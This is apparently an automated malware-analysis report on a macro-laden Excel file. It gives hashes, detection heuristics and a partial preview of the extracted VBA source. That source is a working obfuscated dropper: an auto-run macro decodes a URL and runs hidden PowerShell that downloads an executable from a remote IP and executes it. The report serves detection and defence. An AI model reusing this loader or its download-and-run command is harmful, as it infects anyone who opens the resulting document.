Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 178fe3c3f021fd3a…

MALICIOUS

Office (OOXML)

399.5 KB First seen: 2020-09-15
MD5: 236c69f3b56cc336c7ebf32981a43aea SHA-1: f2c17467835d4d0a642486b0376438dd2a6f4446 SHA-256: 178fe3c3f021fd3abe778a9342d10d458b4b1a5d8da37736c9f8d5bf0b75f3fb
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains an obfuscated VBA loader within a Workbook_Open macro, a common technique for executing malicious code upon opening an Office document. The script attempts to download and execute a second-stage payload from the URL 'http://198.12.66.104/WJQq4ad0DYUqPhl.exe' using PowerShell. This behavior is consistent with a macro-based dropper.

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5560 bytes
SHA-256: 6da82e7ef4fd0873a68e37bf19a5eca2192f88bda2e72e55c4dbacd94d1be683
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Loader"aHR0cDovLzE5OC4xMi42Ni4xMDQvV0pRazRhZDBEWVVRcEhsLmV4ZQ=="
End Sub
Function hjwsuadem94(str As String) As Variant: Dim bytes() As Byte: bytes = str: hjwsuadem94 = bytes: End Function
Function uzuocz31ggbsm8d4l(bytes() As Byte) As String: Dim str As String: str = bytes: uzuocz31ggbsm8d4l = str: End Function

Function ryauetf29zc5lx6uh(str As String) As String
    Const BCvo09gf89_BVC As String = "omob31yqjybxcbdwj"
    Dim ZdaVCfdpVCP_KaKal() As Byte, SokNAH_() As Byte
    ZdaVCfdpVCP_KaKal = hjwsuadem94(str)
    SOtAN_ = hjwsuadem94(BCvo09gf89_BVC)
    
    Dim Sola67BChdPo_NcBBn As Long
    Sola67BChdPo_NcBBn = UBound(ZdaVCfdpVCP_KaKal)
    
    ReDim BCVPlokIgdh67BCGF_BQAZ(0 To Sola67BChdPo_NcBBn) As Byte
    
    Dim idx As Long
    
    For idx = LBound(ZdaVCfdpVCP_KaKal) To Sola67BChdPo_NcBBn:
        If Not ZdaVCfdpVCP_KaKal(idx) = 0 Then
            c = ZdaVCfdpVCP_KaKal(idx)
            For i = 0 To UBound(SOtAN_):
                c = c Xor SOtAN_(i)
            Next i
            BCVPlokIgdh67BCGF_BQAZ(idx) = c
        End If
    
    Next idx
    
    ryauetf29zc5lx6uh = uzuocz31ggbsm8d4l(BCVPlokIgdh67BCGF_BQAZ)
End Function


Public Sub Loader(Link As String)

CreateObject(AWqQ32PO095TRDFvcBBnMZAqQP87BXCVrwe_QARWE("57 53 63 72 69 70 74 2E 53 68 65 6C 6C")).Run (Base64Decode("cG93ZXJzaGVsbC5leGUgLWV4ZWN1dGlvbnBvbGljeSBieXBhc3MgLVcgSGlkZGVuIC1jb21tYW5kIChuZXctb2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJw==" & Link & "JywkZW52OlRlbXArJ1xwdXR0eS5leGUnKTsoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4ZWN1dGUoJGVudjpUZW1wKydccHV0dHkuZXhlJyk="))

End Sub
Public Function AWqQ32PO095TRDFvcBBnMZAqQP87BXCVrwe_QARWE(ByVal QErwPLo98VCb65ADFs12CZXMpLAUYSTRSf878VXBWER_PLANBC67P As String) As String
Dim pujdydwiy5b9szuiw As String
Dim v2y2x3t16zenjz0oz As String
Dim kla2y5cg1sf8h8n64 As Long
    For SKOp9LMRSTR987BCVqrw455209oiGDFCVXFsmnjhu_GuL = 1 To Len(QErwPLo98VCb65ADFs12CZXMpLAUYSTRSf878VXBWER_PLANBC67P) Step 3
        PLAKj095GDFQWAZXCvMLOPBCGFdyuTTAIUpo96543DFS_VCB98RTA = Chr$(Val(ryauetf29zc5lx6uh("R" & "" & "<") & Mid$(QErwPLo98VCb65ADFs12CZXMpLAUYSTRSf878VXBWER_PLANBC67P, SKOp9LMRSTR987BCVqrw455209oiGDFCVXFsmnjhu_GuL, 2)))
        v2y2x3t16zenjz0oz = v2y2x3t16zenjz0oz & PLAKj095GDFQWAZXCvMLOPBCGFdyuTTAIUpo96543DFS_VCB98RTA
    Next SKOp9LMRSTR987BCVqrw455209oiGDFCVXFsmnjhu_GuL
    AWqQ32PO095TRDFvcBBnMZAqQP87BXCVrwe_QARWE = v2y2x3t16zenjz0oz
End Function

Function Base64Decode(ByVal base64String)
  
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, ryauetf29zc5lx6uh("T"), "")
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, ryauetf29zc5lx6uh(Chr(54) & "" & " " & "" & " " & "" & " " & "" & Chr(66) & "" & Chr(64) & ryauetf29zc5lx6uh(Chr(68)) & "" & Chr(17) & "" & " " & "" & " " & "" & " " & " " & ""), ryauetf29zc5lx6uh("6" & "" & Chr(21) & "" & " " & "" & "T" & "" & "6" & Chr(21) & Chr(7) & "" & Chr(17) & "" & "B" & "@" & "T" & Chr(7) & "" & Chr(0) & "" & " " & "" & " " & " " & " " & "" & "Z" & "")
    Exit Function
  End If
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
      
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = ryauetf29zc5lx6uh("I" & "") Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7168 bytes
SHA-256: 4af2c47d19085d99f0161881ab6bfccccd559efea266a8b29202c3a3ecab4bbe
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely

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